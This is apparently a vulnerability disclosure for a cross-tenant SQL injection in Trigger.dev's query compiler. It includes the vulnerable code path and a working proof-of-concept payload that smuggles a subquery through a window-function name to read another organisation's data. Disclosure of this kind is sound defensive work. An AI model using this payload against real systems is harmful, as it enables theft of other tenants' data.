Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name

Summary

A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.

Details

Vulnerable sink — internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:

private visitWindowFunction(node: WindowFunction): string {
  const args = node.args ? node.args.map((a) => this.visit(a)) : [];
  const funcCall = `${node.name}(${args.join(", ")})`;   // <-- node.name concatenated RAW
  ...
}

node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:

• The normal function-call path visitCall (printer.ts:2951) throws Unknown function for any name outside the hardcoded TSQL_CLICKHOUSE_FUNCTIONS / TSQL_AGGREGATIONS allowlists — this gate is absent on the window-function path.
• String constants are bound as ClickHouse query_params (parameterized).
• Other identifiers go through escapeClickHouseIdentifier.
• Table functions (url()/file()/remote()/s3()) are rejected.

A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, (, ), ,, ', a full subquery — become the "function name" and are printed verbatim.

How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organization_id/project_id/environment_id taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.

Reachability — apps/webapp/app/routes/api.v1.query.ts:

• body.query is a raw z.string().
• Auth is any environment-scoped credential — a private API key or a public JWT — i.e. any signed-up customer.
• The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.
• executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.

PoC

Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.

1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):

SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs

2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):

SELECT count() OVER (),
       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED
       dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
          equals(task_runs.project_id,      {tsql_val_1: String}),
          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table
LIMIT 10000

The injected subquery against org_OTHER_TENANT is emitted raw (its org id is a literal, not a bound {tsql_val} param) and sits outside the tenant guard.

3. Live ClickHouse execution. A trigger_dev.task_runs_v2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to org_tenant1:

Seed:
  org_tenant1      -> payload 'tenant1-public-data'                         (attacker's own org)
  org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
                      'VICTIM-SECRET-db_password_hunter2'                    (victim)

Baseline (legitimate tenant1 query, guard = org_tenant1):
  -> 'tenant1-public-data'                                                  (only own data)

Exploit (injected subquery, guard STILL org_tenant1):
  SELECT 1 AS keep,
         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
         count() OVER () AS w
  FROM trigger_dev.task_runs_v2 AS task_runs
  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
  -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']

A caller scoped to org_tenant1 exfiltrated org_OTHER_TENANT's secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.

Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to org_tenant1 and assert the output contains (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT'). Then run that SQL against a ClickHouse seeded as above.